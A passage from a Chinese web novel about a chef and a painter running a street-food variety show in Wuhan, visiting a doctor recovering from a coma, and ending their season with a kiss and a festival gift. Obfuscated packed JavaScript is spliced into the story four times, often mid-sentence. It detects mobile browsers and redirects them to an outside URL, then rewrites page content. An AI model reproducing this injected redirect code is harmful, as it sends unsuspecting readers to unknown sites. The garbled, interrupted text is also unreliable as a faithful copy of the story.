齐新雨在餐车下摇摇拉着他的手，不承认自己在其中的贡献。 要对奶黄包做改动，酸甜苦辣咸五味，排除掉酸甜辣咸，那么真相只剩一个。 “上次在英国吃奶黄包的时候，你说它让你想起来西柚色。” 蒋醉余没有他这样通感的想象力，却在思索什么样的苦味能够用于改良的时候，由这一句话想起了以微苦闻名的西柚和颜色更贴近奶黄包本体的柚子。 柚子再酸，柚子皮也和果酸扯不上半点关系，只是甜里透苦。 奶黄包的甜味来自砂糖，而蜂蜜是另一种甜味。 用蜂蜜把切得碎碎的柚子皮先腌再煮又冷藏，反复几次就能消解掉它浓烈的苦，并把柔韧的外皮变得身段柔软。 蜂蜜清甜中遗留下的半丝苦味不突兀、不讨厌。 它太过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775156|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于清淡，惹不起味觉的半点怀疑，却完美冲淡了细腻奶黄馅似乎要赖在舌尖不走的甜意。 把它们和奶黄馅一起再次打碎炒匀，柚子皮好像疲惫的社畜，已经在先前的“九蒸九晒”中放出了自己全部的苦涩。 此刻纵然再次接受高温拷打，能够扩散到周围奶黄馅里的，也只剩草木清苦。 因为这种苦味太过轻微，而大多数人叹苦色变，也许可以给它换个名字：草木清香。 蒋醉余第一次发现，看着别人对自己的答案百思不得其解是件这么有意思的事情。 告别了吃午饭的留校学生、复习太认真以致于姗姗来迟吃午饭的学生、骑车来小吃街犒劳自己的医生，小摊很快迎来了提前来吃晚饭的学生。 苹果蒸了一笼又一笼，等到最后的库存也架到火上，蒋醉余的闹铃响了起来。 导演挥挥手，他在餐车上立起价格牌，请食客们有序自行结账。 导播也打开综艺直播的后台，给直播间换了个名字：【主播有事出去，帮我们看一下摊。】 距离黄医生今天的常规探视时间还有十分钟。 蒋醉余和齐新雨骑上车，朝医院的方向而去。身后是学生们吵吵嚷嚷“你不要仗着摊主不在没法限量就拿那么多”的争论声。 齐新雨的车筐里，打包盒系上丝带，装着一个漂漂亮亮的苹果。 苹果上面一点字和图案都没有，蒋醉余说不清他要写什么，干脆全涂成果皮的样子。 绕过大学校园，就能到达医院的北门。 距离黄医生今天的常规探视时间还有五分钟。 他们上了住院部的楼，分诊台的护士长昨天没值班，今天在听到蒋醉余名字的时候吃了一惊。 “回来就好，”她说，“小黄的父母和好几个医生都念叨你呢。刚才老黄医生来的时候还和我说，在今天刚出的官方报纸上看到你了——你看，他还给我们拿了一份。” 距离黄医生今天的常规探视时间还有零分钟。 他们找到了黄医生的父母，反而收到了对方的宽慰。“有个伴陪着，很多事情都能好过很多。”那位女士笑着说。 厚重的不透明大门敞开，齐新雨用手轻轻包住他的拳头，但他手小，未能如愿。 蒋醉余松开紧张握住的拳，牢牢扣住他的手，随着迫不及待的家属们涌入病区。 他在被流放分队前常来探望，但黄医生已经十年没见过他了。 接生他、抢救他、资助他读书、差点就把他领养走的黄医生……看到他现在的样子，会怎么想呢？ 蒋醉余猜不出来。 他手足无措地把那颗苹果放在床头：黄医生现在连流食都吃不了，只能给她看看。 黄医生看着他，不等他自我介绍就张开口。 她声道躺平太久，肌肉力量不足，只有气声：“小余，辛苦你了。” 蒋醉余愣住。 造型生动的奶黄包还立在那里，闻起来甜蜜的味道没有任何改变，像要把他回到十年前的下午。 但齐新雨挽着他，攥住他的手、柔软的指腹一下下拂过他的手杯。他知道自己还站在十年后。 苹果不是无趣的水果，奶黄包不是腻味的点心，他们也不是两个单薄的炮灰和反派。 他有一个完整的家。 80. 竹签铁板鱿鱼 探视时间不长，正赶上主任带着一群缩头鹅似的实习生来查房。 “黄语椒，女，五十一岁，”实习生在专家、主任医师、退休医生和病退医生的围观下战战兢兢地说，“今天各项基础数值都正常……” 这话说得实在外行，黄医生一下笑出来。 她这样昏睡十年还能醒来的病例实在罕见。趁着今天精神头好，几位医生便多问了两句细节感受。 蒋醉余站在一旁，听得惊心动魄。 黄医生不是最近才醒来。 那时候她控制不了自己的身体，感官却在慢慢恢复。亲朋好友在她病床边说的话、放的视频，很多都留有印象。 主任回去翻了几天病例，又和她的记忆逐一对照，最早的记忆能追溯到今年四月初。 “我本来还想，怎么有人在病房里放歌、看视频。醒来才知道是小余。”黄医生慢吞吞地说。 “是我放的，”有个专家说，“当初参加哪场手术的又不止你一个。” 一屋人的目光都集中到蒋醉余身上。 有个实习生看见他，倒抽一口气，但不敢表现得太明显，只能跟在问完问题的主任身后又往外走。 主任经过他身边，脚步不停、目不斜视地吐出一句提醒：“有时间可以去隔壁看一眼。” 蒋醉余不明所以。 主任走后，黄医生的父母举着官媒的报纸，正在给她念那篇报导。 文字与视频是不同的载体，没有那么音画细节留给看客慢慢探索，全仰仗撰写者一把键盘。 但采访她们的那位女记者显然水平不低；写采访客观冷静、点到即止，写前后引言结语又温情无限。 “古人说，椒花献颂，柏酒浮春，”她这样写，“但对蒋醉余和齐新雨来说，祈愿不必等时节，他们用各自的方式，探寻着生命对大美的永恒追求。” 齐新雨蹲在老夫妻中间跟着看报纸，铅字墨迹透纸，把他们两个的名字并排定格。 蒋醉余走过去，张了张口，不知道怎么称呼：“我……” “小时候还偷偷喊妈呢，现在不说了。”黄医生笑道。 蒋醉余深吸一口气。 “妈，”他说，“这是齐新雨，我喜欢的人。” 齐新雨握着他的手看看他，修正道：“是喜欢你的人。” 夕晒从南窗飘进来，照得雪白的床被和地板都是金黄的。黄医生靠在病床上，轻轻点点头，又笑起来。 他们两个趁着离探视结束还有五分钟走出病房。隔壁的其中一床住着年轻的男生，看见蒋醉余吓了一跳。 “还没恭喜你逃离苦海。”男生没和他打招呼，第一句话就说。 蒋醉余没想过会在这种情况下看到曾经的队友。 曾经在琴房里特立独行、在网线那头大呼小叫问他“我帮你写的这首歌要唱给谁，快让我吃瓜”的人，如今穿着条纹病号服，也显出点孤独来。 给他陪床的是另外一支分队的队员，蒋醉余不太熟悉，隐约看到他屏保是和丁柳的合照。他看到蒋醉余，也没打招呼，反而表情复杂：“丁柳给你添麻烦了。” 蒋醉余看着他们，一切的信息终于在脑内串了起来。 丁柳接听的那通“南楠和靳书甫把人喝死了”的电话，来自眼前的陪床者。受害者也还滞留在人间，只是躺在重症室的病床上。 他们两个有点惊讶，不过时间紧急，在被医生催促离开之前匆忙道：“我们准备联合起诉公司、尤其是靳书甫和南楠了。你要是也有什么想法的话……” 蒋醉余一愣，齐新雨捏捏他的手，轻声插话：“我让我家律师来联系你们吧。” 需要他们亲自干的事情很多，但回头和烂人纠缠不算一件，在大学外的小吃街看摊也不算一件。 应该不算吧？ 红灯亮起，蒋醉余冷静地看着来自编导的五个未接电话和十八条消息，冷静地划开手机，冷静地打开直播网站。 现在这个时间，留校的学生基本都还在图书馆沉迷复习。小吃街上人并不多，几乎可以说是看着个空摊子，网上的观众们却兴致勃勃。 顶着“主播有事出去”的直播间名字，小摊后面却不知何时出现了一男一女。 女士给为数不多出来觅食的学生卖包子，男士顶着一头发际线有点靠后的金发，正在给路人大叔陪练英语。 导演、摄影无一上前阻拦，连弹幕都是清一色的：【我们要办一场超棒的美食街派对，千万别告诉摊主夫夫。】 齐新雨凑过来看，险些脱口而出一句英式国骂。 屏幕上那两位长得太令人眼熟了。 哪怕是随便找一位陌生人来，也能笃定地认出来，小齐摊主的长相绝对是结合了他们二人的全部优点。 但一对能把自家儿子在住的房子租给综艺节目的夫妻，显然也想不起来向他详细通报自己的行程。 “我爸妈为什么在这里啊？”齐新雨看着视频，茫然地问，“我只知道他们前几个月就说要开拓国内市场……” 谁会开拓到小吃街上啊！ 他们停下自行车，齐新雨一马当先往摊位上走。 “嗨嗨！”那对夫妇看到他们，没半分心虚或者神情变化，一边擦手一边很高兴地说。 男士用还挺标准的中文说：“太好了，我们正说来不及了必须去机场了，泽菲尔你就回来了。” 女士也说：“妈妈爸爸走了，不用送哦。” 他们风一样地出现，又风一样离开。 蒋醉余拿着两只手机还完车追上来，正看见齐新雨匆匆忙忙跑上去，指向他的方向：“虽然你们应该都知道了，但是我还没介绍呢！这是蒋醉余，和我互相喜欢的人！” 他来不及细想，装了两只苹果奶黄包也追过去。 齐新雨父母接过奶黄包，回头笑了一下，又向停在路口的商务车走去。笑容恍惚间和黄医生重合。其中有欣慰，又藏着隐约的歉意。 风只负责把种子带到一片肥沃的土地，或者在种子的呼唤中把它吹向下一个目的地，而不会停驻于此。 齐新雨看看他们的背影，叹了口气。 “我爸，杰森男爵，我妈，齐扶摇女士，两个都很不靠谱。不过他们既然说了要在国内发展，以后应该还会再见。” 蒋醉余摸摸他的头发。手指绕着发旋打转，黑发柔软地贴到手上，被搞得乱糟糟的。齐新雨抓住他的手，捉下来的时候不自觉地歪头蹭了蹭。 “他们说准备在中西部建厂，”齐新雨看看手机上刚收到的消息，“万一最后选定了武汉的这个地址……估计也不会怎么见面的。” 齐新雨在他惊诧的眼神里笑起来：“我爸妈一向不管我，所以我要赖上你啦。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775157|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “好。”蒋醉余说。 “如果今天收摊早，我想看看你以前的学校。” “好。” “醉余你怎么什么都说好？” “我不会拒绝你。” “不是你跟我说要学会拒绝吗？” “我错了宝宝。” 太阳要落山了。 他们慢吞吞地走回摊子，正好赶上最后一笼奶黄包卖空。 餐车前一群全自动下单买单或者抢购失败的大学生，看到摊主们手牵手、笑容满面地回来，发出指指点点的怪叫。 “明天还来。”蒋醉余许诺。 关掉摄像机，他们两个告别了节目组，去黄医生的父母家取回来蒋醉余寄存的自行车。这辆车陪着他上了大学，在团时候也用过不少次，但带不去英国。 多少年过去，它的后座还是出厂配置。 齐新雨坐在硬梆梆的座位上，牢牢抱着他的腰，声音在夜风里被吹得断断续续的：“我要买车！” “明天陪你挑！”蒋醉余说。 如果他们在拍影视剧或什么文艺作品，也许这里该有敞开拉链的外套。向后飞扬着抱了满襟的风，衣物和发丝都勾勒出空气跃动的形状。 路灯底下是最亮的，连灰尘都被照彻，他们的眼神当然也会盈着光；两处路灯之间只有边缘的昏黄相会，他们又走进静悄悄的夜色里，像世界上只有彼此。 他们会把车骑得飞快，穿过沿河夜跑的人群和渴望回家的车流，穿过万家灯火和江边唱歌的年轻人，旁若无人地亲吻、大笑。 但齐新雨觉得他还没那么外向……蒋醉余就更内敛了。 他学不会突然大笑，只在自由畅快的夜风里回头看齐新雨。 小画家头发飘起来，脸还热乎乎地贴在他后背上，是两阵漂泊的风养出来的融融暖风。 他们绕着蒋醉余以前的中学转了一圈，黑灯瞎火什么也看不出来，还差点被保安当成来踩点的坏蛋。 从学校出发，没骑多久又停下车，停在统一规划的夜市门前。 哪怕是蒋醉余曾独自摆摊的人潮汹涌的农业集市，恐怕也比不上暑假里一家夜市的客流量。到处是叫卖，到处是烟火的气息。 齐新雨太久没接触国内的娱乐生活，看什么都新奇。 这家店用透明小桶装满个头迷你的生煎包，那家店用同款小桶装满五花八门的捞汁海鲜。 齐新雨一手拎一个桶，蒋醉余给铁板鱿鱼付了钱，把竹签递到他嘴边。 鱿鱼很新鲜，所以很弹牙。他嚼了半天，“哇”地一声感叹：“这个摊主好厉害哦，竟然能把食物做出一股木质调的味道，有点神奇。” 蒋醉余尝一口，没吃出来，低头看看手里的鱿鱼：“小雨。” 齐新雨扭头，塞给他半只包子。压在桶里的生煎包已经不能算是脆底了，好在调味还可以，不至于逼得顾客浪费食物。 “怎么了？”齐新雨咬着另外半个包子，含含糊糊地问。 蒋醉余给他看负伤的竹签：“你把它的尖咬掉了，才会有木头味。” 小猫，牙很利。 齐新雨移开目光。 “我还想吃那个牛杂怎么办。”他咬着竹签说。 “明天还能来，”蒋醉余把他的手拉下来，放可怜的竹签一条生路，“我们还有很多时间，可以慢慢来。” 81. 酱香啤酒烤鱼 黄医生身体状况逐渐稳定下来后，他们就不拘泥于在医院附近摆摊，地点的选择重新随机起来。 整季节目已经过半，只剩下最后四五期。 一星期可以走马观花地走过一个小国的所有“景点”，一个月却甚至不够完全走进一座城。 他们还没走遍武汉，就在寻找摆摊地点的时候，被路人一句“想去恩施大峡谷划船”支到了清江沿岸、群山之中。 这个选择对节目组不太友好，但是直播间的观众们显然很喜欢，作为最后一期的节目效果也相当不错。 恩施已过了雨季，被卷起的泥沙又沉下去，水面重回人间仙境一般剔透澄澈，夹岸山林却仍是暴雨洗练过的葱郁。 餐车留在码头附近，他们联系景区包下了一张竹筏，在青山绿水间慢慢飘过，做个只有有缘人才能见到的流动摊贩。 幸亏此时已临近中秋假期，游客不少。竹筏上摆着一盒盒包装好的菜品，每走过一圈就能售罄，刚好回到餐车上补货。 这周点的菜很巧，是烤鱼。 蒋醉余把本地新鲜捕来的鱼提前煎得金黄，分进小锡纸盒。盒底垫着配菜，他们选了莴笋、豆皮和藕片。 因为锡纸盒比常规的烤鱼小，配菜都提前用料汁煮过一遭。此时把豆瓣酱、蚝油、蒜瓣等调成的酱料盖到鱼上，浓厚的咸香立刻飘了出来。 锡纸在高温下滚烫，银色盒盖下尚能听到汤水咕嘟嘟炖开的声音。 稍微再等一会，潜藏在浆料中的鲜酿啤酒便也忍不住登场。酒精把豆酱中令部分人不喜的土腥味吞噬殆尽，却还留有麦芽香气。 齐新雨盯着啤酒瓶子，好奇心又翻上来。 他抓了只勺子把啤酒倒进来，小心翼翼地伸出舌尖舔一下，五官就像吃网络上疯传的那张柠檬表情包一样，瞬间皱成一团。 在英国总看见人一箱一箱地喝啤酒，他还以为麦芽酒也和米酒是类似的酸甜……可是这东西怎么是苦的啊？ 塑料勺很浅，只倒了一点啤酒也显得满满当当。齐新雨看看勺子里剩下的酒，颤颤巍巍递到蒋醉余口边。 蒋醉余面不改色地喝掉。 但姿势有点变扭，齐新雨手稍微一晃，就有一点酒液顺着唇边流下去。他凑上去，舔掉，表情又缩起来。 “虽然现在不是直播，但是你们如果有在节目里公开的计划，记得通知我一下。”导演咳了一声。 齐新雨皱着脸，眉毛挤到一起，嘴鼓起来，定定看了半天锡纸盒里流出的不带一丝苦味的浓香，决定给《摆摊日记》的最后一道菜赐个响亮的大名。 “酱香啤酒烤鱼，就叫你酱醉鱼吧。” 酒香不仅不怕巷子深，连湍流峡谷都不用怕。酱醉鱼卖得很好。 青笋的清香和鱼的鲜香中都裹着微妙的甜意，愈发激起豆酱的浓厚咸香。 酱之一字，风味复杂、穷极言语也难以形容透彻，方才孕育出“酱香”的独特形容。黄豆酱、甜面酱、豆瓣酱，酱的种类千奇百怪，不变的是浓稠厚、重的口感和日久年深风化出的肉和风味。 烤鱼浸透了酱香，鱼肉仍是奶白细嫩，外皮也依然保持着焦脆，款待过油脂的表皮更能包容酱汁渗入。 豆皮柔软、青笋细腻，而藕片在犹豫再三之下选用了脆藕，更显得清香扑鼻。 弹幕刷得飞快，喊着“最后一天直播了，怎么能尝到味的手机还没研发出来”；摄影师在他们身后嘿呦嘿呦地搬食材；齐新雨看着直播间后台，笑眯眯地回答稀奇古怪的问题。 蒋醉余本来也该去干活。他看了半天，突然抬起手改变了摄像头的高度和角度。 镜头正对着举起装锡纸的纸盒，是个拍特写的机位。菜品离得很近，一揭开盖子，浓香裹着热气涌出来，摄像头上就蒙住一层雾。 网友又叫唤起来： 【我怎么突然变矮了。】 【调焦距，没必要调整三脚架呀。】 【本宫的眼睛！】 透明镜头变得雾白，一切景象都像是隔了曾毛玻璃，从齐新雨的角度看上去相当明显。他凑上去想用布擦掉，被蒋醉余轻轻拉住。 “雾会消掉的，”蒋醉余说，“节省时间。” “什么？”齐新雨问。 他没有得到答复。 他们面对面站在镜头前，还能从配菜五颜六色的烤鱼上方看见依稀的人影。 看不清表情和细节，一点肢体动作都格外瞩目。 蒋醉余略微垂首，四目相对着向齐新雨靠拢。两个人额头抵在一起，然后擦过鼻尖。 高天朗朗，阳光落在齐新雨脸上，一双薄荷绿的眼睛比潭水更清澈，毛发都泛着金色。 当着雾蒙蒙的镜头和网线那边被蒙住眼睛无能狂怒的观众，蒋醉余一言不发，轻轻把他吻住。 这是个蜻蜓点水的吻。 一触即分，体温都还没来得及交换，只有柔软的唇瓣知道自己曾经受到怎样珍重的触碰。 它不缱绻、不热烈，却郑重其事得令气息都凝滞，仿佛有谁在彼时彼刻许下了无言的承诺。 齐新雨看着他。 从来笃定镇静的人此刻也淡然不起来了，牵住他的手，似乎想说点什么。 他知道这一切动作都没有预谋，和煦的山风给人以纵情呼喊或袒露内心的勇气： 蒋醉余正在很认真地，把一个踽踽独行的攀登者二十五年来的私心都交付予他。 然后他似乎想说点什么，齐新雨凑上去制止。他在镜头雾气彻底散去之前，回敬给他一个吻。 夏日的雾留不住。 太阳一出，因为温差而凝结成的水珠蒸发掉，毛玻璃一样的模糊效果全都散去。 弹幕鸡飞狗跳，潜水的观众全都被刚才的动作炸出来。 【有什么是我尊贵的VIP不能看的！】 【外人知道我们当原耽NPC这么爽吗？】 当然是……知道。 【你们最终也没提前告诉我要公开！】编导看着徐徐爬升的站内热搜，不敢在镜头前大吼，只能怒气冲冲地在群里发消息。 大家都开着静音，她把头顶冒火的水豚表情包刷了一屏也无人回应，还得继续任劳任怨地准备节目收尾事宜。 今天的烤鱼不到一点就售罄，蒋醉余坐在竹筏上，最后一次等待导演来采访自己的感想。 曾经在《美食之王》或更早的男团里，他也是这样面对镜头等着回答一个个平平无奇或意料之外的问题。 这次有齐新雨坐在他旁边，两个人一人抱着一块手写板，你挤我一下、我挤你一下，动作间小船悬在透明河水上晃晃悠悠。 《摆摊日记》把自己分为国内篇和国外篇，很多问题也是将两个篇章分开设计的。 “整季节目卖过的食物里，你最喜欢哪一种？”编导问。 蒋醉余不假思索落笔，齐新雨贴过来想偷看，被编导“公报私仇”地丢来一句“请嘉宾端正坐姿”。 齐新雨写写画画揪了几张纸擦板子，等了半天终于示意完成。一个采访搞得像什么默契挑战，倒数三个数，两个人一起翻过自己的板子。 蒋醉余写的是醪糟圆子。 作为一个厨师，每天与食客们心爱的美食打交道，他自己却没什么倾向性。说是喜好，其实不如说这是让他印象最深的。 齐新雨的脸在他的眼神里慢慢变红，蒋醉余看看他的反应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775158|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，挪开某个人欲盖弥彰放在写字板上的手，突然笑起来。 “你笑什么！”齐新雨张牙舞爪。 蒋醉余任由他扒在自己身上，摄像机的镜头悄悄拉近。 从没上过一节正经中文课的齐新雨不会写“醪糟”，试了半天发现自己也不怎么会写“酒酿”，最后在板子上几笔画了一碗蛋花醪糟圆子。 圆滚滚的魔鬼鱼和小猫头圆子、云絮似的轻薄蛋花和比寻常汤水更粘稠的米酒，他三笔两笔就能勾勒出来。 “哪有那么多喜欢的原因！”他把自己埋到蒋醉余肩头，难道非要他承认自己人菜瘾大觉得酒酿很好喝吗，“该下一个问题啦！” 导播从善如流地翻过一页问题本：“在国内印象最深的摆摊地点是哪里？” 齐新雨写的是某次在小学外面摆摊。 他们为了拍综艺明明已经搞定了各种特批手续，却还是被裹挟进人潮，跟着其他餐车一起在学校附近“游击”。 那是蒋醉余第一次不如其他摊主受欢迎，因为他和隔壁的大哥都卖煎饼，但是那位先生会用彩色面糊画一些蒋醉余不认识的小马和人物图案。 齐新雨也不帮他，就看着小学生“你连这都不会还带个摄像师”的质疑眼神，笑得逐渐放肆。 蒋醉余印象最深的则是一处水滨公园。 河边长了大片的芦苇、蒲苇和香蒲，他们在毛毛草的包围里卖杏仁豆腐。 它的杏仁味相当出众，是个褒贬不一的菜品。 齐新雨不是很喜欢，跑到旁边写生。 蒲苇长得像褐色烤肠，用手用力一握，藏在其中棉絮一样的结构就炸出来，粘在双手章心变成两只单面毛手套。他一次，发现了新世界的大门。 他举着两只毛毛手，把自己变成毛手毛脚的大笨猫恐吓蒋醉余，迎面碰上一位导游带着一群目瞪口呆的欧洲食客找过来。 这个旅游团的人很多，一半都是蒋醉余眼熟的老食客。 他们拜托了一位会看图寻地的大佬博主，又想方设法请到了一位野生本地导游，才从武汉漫长的江岸里定位出这一处蒲草……没想到来了还有节目能看。 “以前我们还会各自为政，争论醉余你在哪个国家做的菜最好吃，”食客说，“现在大家都挤在一个大社群里，一边隔着时差追更，一边后悔自己当初没跟着你们吃遍欧洲。 “为了‘亡羊补牢’，我们干脆追到中国来吃了。” 蒋醉余哭笑不得地看着那几位喜欢杏仁豆腐的客人，你十几盒、我十几盒地买空了摊上所有存货。 他还不能制止，一提出限购就会得到欧洲猛男猛女的哭诉。 提起那些活泼的食客与鲜活的场景，所有人都笑起来。 “走过这么多地方，还有什么想说的吗？”导播在最后问道。 这是最后一个问题了。 蒋醉余想。 齐新雨握着他的手，很坚定、也很眷恋。他知道自己无论说出什么，都会有人与他同往。 “我这一路上，遇见了很多来自各种文化背景和年龄段的食客。”他缓缓道。 “他们可能不了解高深的厨艺，也没有敏锐的味觉，但食物是与每个人息息相关的。美食的标准只应在这样的普罗大众的口中，而不由少数群体所规定。 “我想对个别人说，上下五千年华夏、一千一百万平方公里海陆能孕育出的饮食文化——你们对中餐，实在一无所知。” 齐新雨海豹鼓掌一样充当气氛组。掌声快而轻，冲淡了凝重的氛围。 蒋醉余看着他，微笑起来：“当然，明天就是中秋节了，祝大家……家人相伴。” 家人还是佳人，编导不敢猜。 82. 摘天上明明月 只要住得足够偏僻，就算在枝叶掩映间，也会有星星拼尽全力透过光来。 节目组包下的民宿，没有一扇窗户亮着灯：蒋醉余给报销机票，从导演到后勤都跑回家过节去了。 房子里只剩两个人，他从内间收拾完衣服出来，就看到齐新雨趴在阳台的长榻上，支着下巴看天空。 黑暗包裹住身形，眼睛逐渐适应了黑暗。他看着齐新雨，想起来他曾经说，夜晚的环境光要用冷色。 齐新雨待在那，却像暖融融一片。 “星空是无数的太阳，”齐新雨听到他出来，没有回头，轻轻地开口，“我觉得我画不出来这样的星空，也没法把它们完整地搬进脑子里。” 理科生蒋醉余绞尽脑汁安慰：“你的视锥细胞会记得他们受过的光。” 齐新雨笑起来。 他从窗台两步蹦回屋里，光着脚，在绒毛地毯上一踩一个小坑，跌跌撞撞左脚绊右脚，两个人就一起摔到床上。 “你今天还没亲我。”他说。 白天当着镜头那两下太快了，不能列入统计。 蒋醉余就凑过来亲他，啃咬似的啄吻。齐新雨贴到他耳边，压低了嗓音，口齿清晰：“我想做//爱。” 昏黄的台灯又被拧暗了一点。 灯泡摇摇晃晃地闪在眼底，过一会干脆被关掉。只剩下满天星光，从落地窗阳台里放肆地落进来。 急促的呼吸里带上哭腔，柔软的黑发也变得湿漉漉地垂下来。 蒋醉余抬手，抓住那绺头发。 我抓住了一阵太阳风，他想。 一切沉寂后，风艰难地从被子卷里伸出一只手。 “我要画画，”艺术家的灵感来得毫无征兆，“我想到星空怎么画了！” 蒋醉余从床头抓过手机，凑到他唇边：“太晚了，先把想法录下来吧。” 屏幕一亮起来，两个人都被晃得眯起眼睛。 电子屏的冷光里齐新雨有点发红，迷迷糊糊地想了一会：“也行、那你把耳朵捂上。” 蒋醉余捂住耳朵，听到一些虎狼之词从指缝间模模糊糊地传过来。齐新雨声音软绵绵的，但说得一本正经。 ……有点过于可爱了。 蒋醉余犹豫着要不要再去洗个澡，记完了思路的齐新雨一夜酣眠，睡到天光大亮。 他从床上弹起来，又跌回去。从敞开的卧室门看见蒋醉余在开放式厨房里对着两团水油皮和油酥，勤勤恳恳地开酥。 蒋醉余擀好了面团抬起头，走回来找他。 “醒了？”他问。 齐新雨不回答，伸手要抱：“哪都疼。” 蒋醉余亲亲他额头：“小雨中秋快乐——等我一下，我手上有油。” 他洗手到一半，齐新雨就自己摸摸蹭蹭地走进卫生间，刷牙到一半，突然很大声宣布：“等一下！我还有节日礼物要给你呢！” 打开《摆摊日记》的页面，悄悄冒出来一段名为“中秋快乐”的番外视频，在今天零点定时放出。 熬夜的网友比他们来得更早，在评论区大肆调侃。 【您好，这里是鱼猫婚礼的亲友祝福VCR超前点映。】 【你有本事发视频，有本事给我看昨天直播的高清回放啊？】 一群剧透怪。 齐新雨抿着嘴，把视频放到全屏挡住评论区。 视频一上来，冒出一张令人熟悉的小麦色面容和饱满胸肌。 蒋醉余忍不住亲亲齐新雨的耳朵：“你竟然能联系到他。” “认真看啦。”齐新雨从他怀里扭出去说。 胸肌男士一开嗓，所有人都认出来：【这是酱鱼《美食之王》亲友应援视频里出现的那个唱歌剧的小哥啊！】 那是蒋醉余梦醒的第一天，他给这位客人做了一份咸蛋炸鸡汉堡。没能保住自己的快餐店工作，但也算是得到了两个朋友。 这一次，他唱的是格局《图兰朵》里改编自《茉莉花》的选段。 快餐店老板斯蒂芬先生跟在他后面出场，然后是快餐店所属的壹嘉餐饮与他对接的那位高管约瑟夫。 约瑟夫带来一个好消息：“跟你合作的套餐让我们的知名度和受欢迎程度又上一层楼，现在我们已经在北美接收了布朗家族旗下快餐品牌的绝大多数门店。” “我亲爱的侄子梅森和布朗家彻底官司缠身了。”曾经在婚礼给他们当临时导师的“美食雇佣兵”帕特里克·布朗先生幸灾乐祸地说，“现在我有新老板了。” 湖边那家情侣餐厅的店主夫妇从他身后走出来。 接着是《美食之王》的选手，从最早被淘汰的维多利亚和中途加入的瓦列里娅，到重回职场的塞缪尔和丽贝卡。 除了正在享受监狱包吃包住安迪和销声匿迹的粥川，十名选手齐聚一堂。 他们拉响礼炮，乱七八糟地让到两边，夏洛特和奥斯汀评委举着一只奖杯款步走出。 “我把《美食之王》的品牌和版权买下来了。”夏洛特一张口就是爆炸性新闻。 “我不知道你是否还需要它，但是我觉得你应该得到它，”她捧着奖杯说，“无论从没派上用途的积分还是获胜的场次来看，你都是所有选手承认的、当之无愧的冠军。” “登登登登！” 耳边响起齐新雨喜气洋洋的声音，他不知道从哪掏出来奖杯和证书，十指张开乱晃：“都准时寄回来啦！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775159|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 蒋醉余按了暂停键。 齐新雨抱着他的奖杯，笑得很开心。他扭过头，轻声问：“为了拿到奖杯我应该付出点什么呢？” “你的东西，还要付出什么？”齐新雨不明所以。 蒋醉余勾住他交换了一个吻：“我觉得……我需要特别感谢一下颁奖嘉宾。” 过了好一会，视频才重新播放起来。 《摆摊日记》一位位食客的照片或视频一幕幕闪过，还有节目组的成员。他们在不同的时间和位置，言笑晏晏地感谢他带来一场盛宴。 他们说，这是自己吃过最好的食物。 好多视频凑在一起，明暗各异，蒋醉余恍惚觉得像从舞台望台下望到的点点灯光。曾经也有这么一小群人，挥舞着他的应援棒和其它他分不太清的纸片，为他喊到声嘶。 齐新雨曾经站在那群人中，现在坐在他怀里，变魔术一样，又捧出一束花。 “我爸妈在新疆考察，去了棉花田玩。”齐新雨说。 视频里也冒出来一个齐新雨。 蒋醉余认出来，是他和编导在蒲苇草丛里背着自己偷偷录的。 视频里齐新雨说：“我这两天看到一句诗，‘风雪压我两三年，我笑风轻雪如棉’……啊？不是诗吗？ “不是诗也没关系，反正我很喜欢这句话，想送给醉余。” “我爸妈听到我的想法，从新疆帮我采了一束棉花，加急寄过来。”视频外的齐新雨坚持不懈地说。 他又不知道从哪掏出来一束花。 棉花花束。 轻飘飘、软绵绵，不怎么常见，一朵一朵都是洁白的毛茸茸，云团似的浮在包装纸中。 “小雨，”蒋醉余像喟叹，“我不会放开你了。” 无论所谓的“反派”齐新雨是否因为遇见他才有这样跌宕一生，从前种种纠结搓磨都被云絮卷走吃掉，再也无影无踪。 “好呀。”齐新雨往他怀里拱了拱，轻快地答应。 薄荷绿的眼睛凝望他，蒋醉余从那双眼睛里看见半年前自己敲开屋门的夜晚。 